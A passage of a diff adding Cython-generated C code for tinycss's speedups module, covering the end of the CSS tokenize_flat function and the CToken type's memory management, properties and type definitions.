*)__pyx_t_8)); + __pyx_t_8 = 0; + + /* "tinycss/speedups.pyx":179 + * value = css_value + * token = CToken(type_name, css_value, value, unit, line, column) + * tokens.append(token) # <<<<<<<<<<<<<< + * + * pos = next_pos + */ + __pyx_t_17 = __Pyx_PyList_Append(__pyx_v_tokens, ((PyObject *)__pyx_v_token)); if (unlikely(__pyx_t_17 == -1)) __PYX_ERR(0, 179, __pyx_L1_error) + + /* "tinycss/speedups.pyx":126 + * + * # A BAD_COMMENT is a comment at EOF. Ignore it too. + * if not (ignore_comments and type_ in (COMMENT, BAD_COMMENT)): # <<<<<<<<<<<<<< + * # Parse numbers, extract strings and URIs, unescape + * unit = None + */ + } + + /* "tinycss/speedups.pyx":181 + * tokens.append(token) + * + * pos = next_pos # <<<<<<<<<<<<<< + * newlines = list(find_newlines(css_value)) + * if newlines: + */ + __pyx_v_pos = __pyx_v_next_pos; + + /* "tinycss/speedups.pyx":182 + * + * pos = next_pos + * newlines = list(find_newlines(css_value)) # <<<<<<<<<<<<<< + * if newlines: + * line += len(newlines) + */ + __Pyx_INCREF(__pyx_v_find_newlines); + __pyx_t_13 = __pyx_v_find_newlines; __pyx_t_1 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + } + } + if (!__pyx_t_1) { + __pyx_t_8 = __Pyx_PyObject_CallOneArg(__pyx_t_13, __pyx_v_css_value); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + } else { + __pyx_t_11 = PyTuple_New(1+1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_1); __pyx_t_1 = NULL; + __Pyx_INCREF(__pyx_v_css_value); + __Pyx_GIVEREF(__pyx_v_css_value); + PyTuple_SET_ITEM(__pyx_t_11, 0+1, __pyx_v_css_value); + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_t_11, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = PySequence_List(__pyx_t_8); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF_SET(__pyx_v_newlines, ((PyObject*)__pyx_t_13)); + __pyx_t_13 = 0; + + /* "tinycss/speedups.pyx":183 + * pos = next_pos + * newlines = list(find_newlines(css_value)) + * if newlines: # <<<<<<<<<<<<<< + * line += len(newlines) + * # Add 1 to have lines start at column 1, not 0 + */ + __pyx_t_16 = (__pyx_v_newlines != Py_None) && (PyList_GET_SIZE(__pyx_v_newlines) != 0); + if (__pyx_t_16) { + + /* "tinycss/speedups.pyx":184 + * newlines = list(find_newlines(css_value)) + * if newlines: + * line += len(newlines) # <<<<<<<<<<<<<< + * # Add 1 to have lines start at column 1, not 0 + * column = length - newlines[-1].end() + 1 + */ + __pyx_t_2 = PyList_GET_SIZE(__pyx_v_newlines); if (unlikely(__pyx_t_2 == -1)) __PYX_ERR(0, 184, __pyx_L1_error) + __pyx_v_line = (__pyx_v_line + __pyx_t_2); + + /* "tinycss/speedups.pyx":186 + * line += len(newlines) + * # Add 1 to have lines start at column 1, not 0 + * column = length - newlines[-1].end() + 1 # <<<<<<<<<<<<<< + * else: + * column += length + */ + __pyx_t_13 = PyInt_FromSsize_t(__pyx_v_length); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_11 = __Pyx_GetItemInt_List(__pyx_v_newlines, -1L, long, 1, __Pyx_PyInt_From_long, 1, 1, 1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_end); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + } + } + if (__pyx_t_11) { + __pyx_t_8 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_11); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } else { + __pyx_t_8 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 186, __pyx_L1_error) + } + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyNumber_Subtract(__pyx_t_13, __pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyInt_AddObjC(__pyx_t_1, __pyx_int_1, 1, 0); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_8); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_v_column = __pyx_t_2; + + /* "tinycss/speedups.pyx":183 + * pos = next_pos + * newlines = list(find_newlines(css_value)) + * if newlines: # <<<<<<<<<<<<<< + * line += len(newlines) + * # Add 1 to have lines start at column 1, not 0 + */ + goto __pyx_L28; + } + + /* "tinycss/speedups.pyx":188 + * column = length - newlines[-1].end() + 1 + * else: + * column += length # <<<<<<<<<<<<<< + * return tokens + */ + /*else*/ { + __pyx_v_column = (__pyx_v_column + __pyx_v_length); + } + __pyx_L28:; + } + + /* "tinycss/speedups.pyx":189 + * else: + * column += length + * return tokens # <<<<<<<<<<<<<< + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_INCREF(__pyx_v_tokens); + __pyx_r = __pyx_v_tokens; + goto __pyx_L0; + + /* "tinycss/speedups.pyx":55 + * + * + * def tokenize_flat(css_source, int ignore_comments=1): # <<<<<<<<<<<<<< + * """ + * :param css_source: + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_AddTraceback("tinycss.speedups.tokenize_flat", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XDECREF(__pyx_v_tokens_dispatch); + __Pyx_XDECREF(__pyx_v_compiled_token_indexes); + __Pyx_XDECREF(__pyx_v_compiled_tokens); + __Pyx_XDECREF(__pyx_v_unicode_unescape); + __Pyx_XDECREF(__pyx_v_newline_unescape); + __Pyx_XDECREF(__pyx_v_simple_unescape); + __Pyx_XDECREF(__pyx_v_find_newlines); + __Pyx_XDECREF((PyObject *)__pyx_v_token); + __Pyx_XDECREF(__pyx_v_tokens); + __Pyx_XDECREF(__pyx_v_char); + __Pyx_XDECREF(__pyx_v_type_name); + __Pyx_XDECREF(__pyx_v_css_value); + __Pyx_XDECREF(__pyx_v_regexp); + __Pyx_XDECREF(__pyx_v_match); + __Pyx_XDECREF(__pyx_v_unit); + __Pyx_XDECREF(__pyx_v_value); + __Pyx_XDECREF(__pyx_v_newlines); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_tp_new_7tinycss_8speedups_CToken(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + struct __pyx_obj_7tinycss_8speedups_CToken *p; + PyObject *o; + if (likely((t->tp_flags & Py_TPFLAGS_IS_ABSTRACT) == 0)) { + o = (*t->tp_alloc)(t, 0); + } else { + o = (PyObject *) PyBaseObject_Type.tp_new(t, __pyx_empty_tuple, 0); + } + if (unlikely(!o)) return 0; + p = ((struct __pyx_obj_7tinycss_8speedups_CToken *)o); + p->type = Py_None; Py_INCREF(Py_None); + p->_as_css = Py_None; Py_INCREF(Py_None); + p->value = Py_None; Py_INCREF(Py_None); + p->unit = Py_None; Py_INCREF(Py_None); + return o; +} + +static void __pyx_tp_dealloc_7tinycss_8speedups_CToken(PyObject *o) { + struct __pyx_obj_7tinycss_8speedups_CToken *p = (struct __pyx_obj_7tinycss_8speedups_CToken *)o; + #if PY_VERSION_HEX >= 0x030400a1 + if (unlikely(Py_TYPE(o)->tp_finalize) && !_PyGC_FINALIZED(o)) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->type); + Py_CLEAR(p->_as_css); + Py_CLEAR(p->value); + Py_CLEAR(p->unit); + (*Py_TYPE(o)->tp_free)(o); +} + +static int __pyx_tp_traverse_7tinycss_8speedups_CToken(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_7tinycss_8speedups_CToken *p = (struct __pyx_obj_7tinycss_8speedups_CToken *)o; + if (p->type) { + e = (*v)(p->type, a); if (e) return e; + } + if (p->_as_css) { + e = (*v)(p->_as_css, a); if (e) return e; + } + if (p->value) { + e = (*v)(p->value, a); if (e) return e; + } + if (p->unit) { + e = (*v)(p->unit, a); if (e) return e; + } + return 0; +} + +static int __pyx_tp_clear_7tinycss_8speedups_CToken(PyObject *o) { + PyObject* tmp; + struct __pyx_obj_7tinycss_8speedups_CToken *p = (struct __pyx_obj_7tinycss_8speedups_CToken *)o; + tmp = ((PyObject*)p->type); + p->type = Py_None; Py_INCREF(Py_None); + Py_XDECREF(tmp); + tmp = ((PyObject*)p->_as_css); + p->_as_css = Py_None; Py_INCREF(Py_None); + Py_XDECREF(tmp); + tmp = ((PyObject*)p->value); + p->value = Py_None; Py_INCREF(Py_None); + Py_XDECREF(tmp); + tmp = ((PyObject*)p->unit); + p->unit = Py_None; Py_INCREF(Py_None); + Py_XDECREF(tmp); + return 0; +} + +static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_type(PyObject *o, CYTHON_UNUSED void *x) { + return __pyx_pw_7tinycss_8speedups_6CToken_4type_1__get__(o); +} + +static int __pyx_setprop_7tinycss_8speedups_6CToken_type(PyObject *o, PyObject *v, CYTHON_UNUSED void *x) { + if (v) { + return __pyx_pw_7tinycss_8speedups_6CToken_4type_3__set__(o, v); + } + else { + return __pyx_pw_7tinycss_8speedups_6CToken_4type_5__del__(o); + } +} + +static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken__as_css(PyObject *o, CYTHON_UNUSED void *x) { + return __pyx_pw_7tinycss_8speedups_6CToken_7_as_css_1__get__(o); +} + +static int __pyx_setprop_7tinycss_8speedups_6CToken__as_css(PyObject *o, PyObject *v, CYTHON_UNUSED void *x) { + if (v) { + return __pyx_pw_7tinycss_8speedups_6CToken_7_as_css_3__set__(o, v); + } + else { + return __pyx_pw_7tinycss_8speedups_6CToken_7_as_css_5__del__(o); + } +} + +static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_value(PyObject *o, CYTHON_UNUSED void *x) { + return __pyx_pw_7tinycss_8speedups_6CToken_5value_1__get__(o); +} + +static int __pyx_setprop_7tinycss_8speedups_6CToken_value(PyObject *o, PyObject *v, CYTHON_UNUSED void *x) { + if (v) { + return __pyx_pw_7tinycss_8speedups_6CToken_5value_3__set__(o, v); + } + else { + return __pyx_pw_7tinycss_8speedups_6CToken_5value_5__del__(o); + } +} + +static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_unit(PyObject *o, CYTHON_UNUSED void *x) { + return __pyx_pw_7tinycss_8speedups_6CToken_4unit_1__get__(o); +} + +static int __pyx_setprop_7tinycss_8speedups_6CToken_unit(PyObject *o, PyObject *v, CYTHON_UNUSED void *x) { + if (v) { + return __pyx_pw_7tinycss_8speedups_6CToken_4unit_3__set__(o, v); + } + else { + return __pyx_pw_7tinycss_8speedups_6CToken_4unit_5__del__(o); + } +} + +static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_line(PyObject *o, CYTHON_UNUSED void *x) { + return __pyx_pw_7tinycss_8speedups_6CToken_4line_1__get__(o); +} + +static int __pyx_setprop_7tinycss_8speedups_6CToken_line(PyObject *o, PyObject *v, CYTHON_UNUSED void *x) { + if (v) { + return __pyx_pw_7tinycss_8speedups_6CToken_4line_3__set__(o, v); + } + else { + PyErr_SetString(PyExc_NotImplementedError, "__del__"); + return -1; + } +} + +static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_column(PyObject *o, CYTHON_UNUSED void *x) { + return __pyx_pw_7tinycss_8speedups_6CToken_6column_1__get__(o); +} + +static int __pyx_setprop_7tinycss_8speedups_6CToken_column(PyObject *o, PyObject *v, CYTHON_UNUSED void *x) { + if (v) { + return __pyx_pw_7tinycss_8speedups_6CToken_6column_3__set__(o, v); + } + else { + PyErr_SetString(PyExc_NotImplementedError, "__del__"); + return -1; + } +} + +static PyMethodDef __pyx_methods_7tinycss_8speedups_CToken[] = { + {"as_css", (PyCFunction)__pyx_pw_7tinycss_8speedups_6CToken_3as_css, METH_NOARGS, __pyx_doc_7tinycss_8speedups_6CToken_2as_css}, + {0, 0, 0, 0} +}; + +static struct PyGetSetDef __pyx_getsets_7tinycss_8speedups_CToken[] = { + {(char *)"type", __pyx_getprop_7tinycss_8speedups_6CToken_type, __pyx_setprop_7tinycss_8speedups_6CToken_type, (char *)0, 0}, + {(char *)"_as_css", __pyx_getprop_7tinycss_8speedups_6CToken__as_css, __pyx_setprop_7tinycss_8speedups_6CToken__as_css, (char *)0, 0}, + {(char *)"value", __pyx_getprop_7tinycss_8speedups_6CToken_value, __pyx_setprop_7tinycss_8speedups_6CToken_value, (char *)0, 0}, + {(char *)"unit", __pyx_getprop_7tinycss_8speedups_6CToken_unit, __pyx_setprop_7tinycss_8speedups_6CToken_unit, (char *)0, 0}, + {(char *)"line", __pyx_getprop_7tinycss_8speedups_6CToken_line, __pyx_setprop_7tinycss_8speedups_6CToken_line, (char *)0, 0}, + {(char *)"column", __pyx_getprop_7tinycss_8speedups_6CToken_column, __pyx_setprop_7tinycss_8speedups_6CToken_column, (char *)0, 0}, + {0, 0, 0, 0, 0} +}; + +static PyTypeObject __pyx_type_7tinycss_8speedups_CToken = { + PyVarObject_HEAD_INIT(0, 0) + "tinycss.speedups.CToken", /*tp_name*/ + sizeof(struct __pyx_obj_7tinycss_8speedups_CToken), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_7tinycss_8speedups_CToken, /*tp_dealloc*/ + 0, /*tp_print*/ + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + __pyx_pw_7tinycss_8speedups_6CToken_5__repr__, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE|Py_TPFLAGS_HAVE_GC, /*tp_flags*/ + "A token built by the Cython speedups. Identical to\n :class:`~.token_data.Token`.\n\n ", /*tp_doc*/ + __pyx_tp_traverse_7tinycss_8speedups_CToken, /*tp_traverse*/ + __pyx_tp_clear_7tinycss_8speedups_CToken, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + __pyx_methods_7tinycss_8speedups_CToken, /*tp_methods*/ + 0, /*tp_members*/ + __pyx_getsets_7tinycss_8speedups_CToken, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + 0, /*tp_dictoffset*/ + __pyx_pw_7tinycss_8speedups_6CToken_1__init__, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_7tinycss_8speedups_CToken, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + 0, /*tp_finalize*/ + #endif +}; + +static struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *__pyx_freelist_7tinycss_8speedups___pyx_scope_struct__genexpr[8]; +static int __pyx_freecount_7tinycss_8speedups___pyx_scope_struct__genexpr = 0; + +static PyObject *__pyx_tp_new_7tinycss_8speedups___pyx_scope_struct__genexpr(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + if (CYTHON_COMPILING_IN_CPYTHON && likely((__pyx_freecount_7tinycss_8speedups___pyx_scope_struct__genexpr > 0) & (t->tp_basicsize == sizeof(struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr)))) { + o = (PyObject*)__pyx_freelist_7tinycss_8speedups___pyx_scope_struct__genexpr[--__pyx_freecount_7tinycss_8speedups___pyx_scope_struct__genexpr]; + memset(o, 0, sizeof(struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + return o; +} + +static void __pyx_tp_dealloc_7tinycss_8speedups___pyx_scope_struct__genexpr(PyObject *o) { + struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *p = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o; + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_name); + Py_CLEAR(p->__pyx_v_regexp); + if (CYTHON_COMPILING_IN_CPYTHON && ((__pyx_freecount_7tinycss_8speedups___pyx_scope_struct__genexpr < 8) & (Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr)))) { + __pyx_freelist_7tinycss_8speedups___pyx_scope_struct__genexpr[__pyx_freecount_7tinycss_8speedups___pyx_scope_struct__genexpr++] = ((struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o); + } else { + (*Py_TYPE(o)->tp_free)(o); + } +} + +static int __pyx_tp_traverse_7tinycss_8speedups___pyx_scope_struct__genexpr(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *p = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o; + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_name) { + e = (*v)(p->__pyx_v_name, a); if (e) return e; + } + if (p->__pyx_v_regexp) { + e = (*v)(p->__pyx_v_regexp, a); if (e) return e; + } + return 0; +} + +static int __pyx_tp_clear_7tinycss_8speedups___pyx_scope_struct__genexpr(PyObject *o) { + PyObject* tmp; + struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *p = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o; + tmp = ((PyObject*)p->__pyx_v_i); + p->__pyx_v_i = Py_None; Py_INCREF(Py_None); + Py_XDECREF(tmp); + tmp = ((PyObject*)p->__pyx_v_name); + p->__pyx_v_name = Py_None; Py_INCREF(Py_None); + Py_XDECREF(tmp); + tmp = ((PyObject*)p->__pyx_v_regexp); + p->__pyx_v_regexp = Py_None; Py_INCREF(Py_None); + Py_XDECREF(tmp); + return 0; +} + +static PyTypeObject __pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr = { + PyVarObject_HEAD_INIT(0, 0) + "tinycss.speedups.__pyx_scope_struct__genexpr", /*tp_name*/ + sizeof(struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_dealloc*/ + 0, /*tp_print*/ + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_traverse*/ + __pyx_tp_clear_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + 0, /*tp_dictoffset*/ + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + 0, /*tp_finalize*/ + #endif +}; + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; + +#if PY_MAJOR_VERSION >= 3 +static struct PyModuleDef __pyx_moduledef = { + #if PY_VERSION_HEX < 0x03020000 + { PyObject_HEAD_INIT(NULL) NULL, 0, NULL }, + #else + PyModuleDef_HEAD_INIT, + #endif + "speedups", + __pyx_k_tinycss_speedups_Cython_module, /* m_doc */ + -1, /* m_size */ + __pyx_methods /* m_methods */, + NULL, /* m_reload */ + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ +}; +#endif + +static __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_, __pyx_k_, sizeof(__pyx_k_), 0, 1, 0, 0}, + {&__pyx_n_s_ATKEYWORD, __pyx_k_ATKEYWORD, sizeof(__pyx_k_ATKEYWORD), 0, 0, 1, 1}, + {&__pyx_n_u_ATKEYWORD, __pyx_k_ATKEYWORD, sizeof(__pyx_k_ATKEYWORD), 0, 1, 0, 1}, + {&__pyx_n_s_BAD_COMMENT, __pyx_k_BAD_COMMENT, sizeof(__pyx_k_BAD_COMMENT), 0, 0, 1, 1}, + {&__pyx_n_u_BAD_COMMENT, __pyx_k_BAD_COMMENT, sizeof(__pyx_k_BAD_COMMENT), 0, 1, 0, 1}, + {&__pyx_n_s_BAD_STRING, __pyx_k_BAD_STRING, sizeof(__pyx_k_BAD_STRING), 0, 0, 1, 1}, + {&__pyx_n_u_BAD_STRING, __pyx_k_BAD_STRING, sizeof(__pyx_k_BAD_STRING), 0, 1, 0, 1}, + {&__pyx_n_s_COMMENT, __pyx_k_COMMENT, sizeof(__pyx_k_COMMENT), 0, 0, 1, 1}, + {&__pyx_n_u_COMMENT, __pyx_k_COMMENT, sizeof(__pyx_k_COMMENT), 0, 1, 0, 1}, + {&__pyx_n_s_COMPILED_TOKEN_INDEXES, __pyx_k_COMPILED_TOKEN_INDEXES, sizeof(__pyx_k_COMPILED_TOKEN_INDEXES), 0, 0, 1, 1}, + {&__pyx_n_s_COMPILED_TOKEN_REGEXPS, __pyx_k_COMPILED_TOKEN_REGEXPS, sizeof(__pyx_k_COMPILED_TOKEN_REGEXPS), 0, 0, 1, 1}, + {&__pyx_n_s_DELIM, __pyx_k_DELIM, sizeof(__pyx_k_DELIM), 0, 0, 1, 1}, + {&__pyx_n_u_DELIM, __pyx_k_DELIM, sizeof(__pyx_k_DELIM), 0, 1, 0, 1}, + {&__pyx_n_s_DIMENSION, __pyx_k_DIMENSION, sizeof(__pyx_k_DIMENSION), 0, 0, 1, 1}, + {&__pyx_n_u_DIMENSION, __pyx_k_DIMENSION, sizeof(__pyx_k_DIMENSION), 0, 1, 0, 1}, + {&__pyx_n_s_FIND_NEWLINES, __pyx_k_FIND_NEWLINES, sizeof(__pyx_k_FIND_NEWLINES), 0, 0, 1, 1}, + {&__pyx_n_s_FUNCTION, __pyx_k_FUNCTION, sizeof(__pyx_k_FUNCTION), 0, 0, 1, 1}, + {&__pyx_n_u_FUNCTION, __pyx_k_FUNCTION, sizeof(__pyx_k_FUNCTION), 0, 1, 0, 1}, + {&__pyx_n_s_HASH, __pyx_k_HASH, sizeof(__pyx_k_HASH), 0, 0, 1, 1}, + {&__pyx_n_u_HASH, __pyx_k_HASH, sizeof(__pyx_k_HASH), 0, 1, 0, 1}, + {&__pyx_n_s_IDENT, __pyx_k_IDENT, sizeof(__pyx_k_IDENT), 0, 0, 1, 1}, + {&__pyx_n_u_IDENT, __pyx_k_IDENT, sizeof(__pyx_k_IDENT), 0, 1, 0, 1}, + {&__pyx_n_u_INTEGER, __pyx_k_INTEGER, sizeof(__pyx_k_INTEGER), 0, 1, 0, 1}, + {&__pyx_n_s_NEWLINE_UNESCAPE, __pyx_k_NEWLINE_UNESCAPE, sizeof(__pyx_k_NEWLINE_UNESCAPE), 0, 0, 1, 1}, + {&__pyx_n_s_NUMBER, __pyx_k_NUMBER, sizeof(__pyx_k_NUMBER), 0, 0, 1, 1}, + {&__pyx_n_u_NUMBER, __pyx_k_NUMBER, sizeof(__pyx_k_NUMBER), 0, 1, 0, 1}, + {&__pyx_n_s_PERCENTAGE, __pyx_k_PERCENTAGE, sizeof(__pyx_k_PERCENTAGE), 0, 0, 1, 1}, + {&__pyx_n_u_PERCENTAGE, __pyx_k_PERCENTAGE, sizeof(__pyx_k_PERCENTAGE), 0, 1, 0, 1}, + {&__pyx_n_s_SIMPLE_UNESCAPE, __pyx_k_SIMPLE_UNESCAPE, sizeof(__pyx_k_SIMPLE_UNESCAPE), 0, 0, 1, 1}, + {&__pyx_n_s_STRING, __pyx_k_STRING, sizeof(__pyx_k_STRING), 0, 0, 1, 1}, + {&__pyx_n_u_STRING, __pyx_k_STRING, sizeof(__pyx_k_STRING), 0, 1, 0, 1}, + {&__pyx_n_s_TOKEN_DISPATCH, __pyx_k_TOKEN_DISPATCH, sizeof(__pyx_k_TOKEN_DISPATCH), 0, 0, 1, 1}, + {&__pyx_kp_u_Token_0_type_at_0_line_0_column, __pyx_k_Token_0_type_at_0_line_0_column, sizeof(__pyx_k_Token_0_type_at_0_line_0_column), 0, 1, 0, 0}, + {&__pyx_n_s_UNICODE_UNESCAPE, __pyx_k_UNICODE_UNESCAPE, sizeof(__pyx_k_UNICODE_UNESCAPE), 0, 0, 1, 1}, + {&__pyx_n_s_URI, __pyx_k_URI, sizeof(__pyx_k_URI), 0, 0, 1, 1}, + {&__pyx_n_u_URI, __pyx_k_URI, sizeof(__pyx_k_URI), 0, 1, 0, 1}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 0}, + {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, 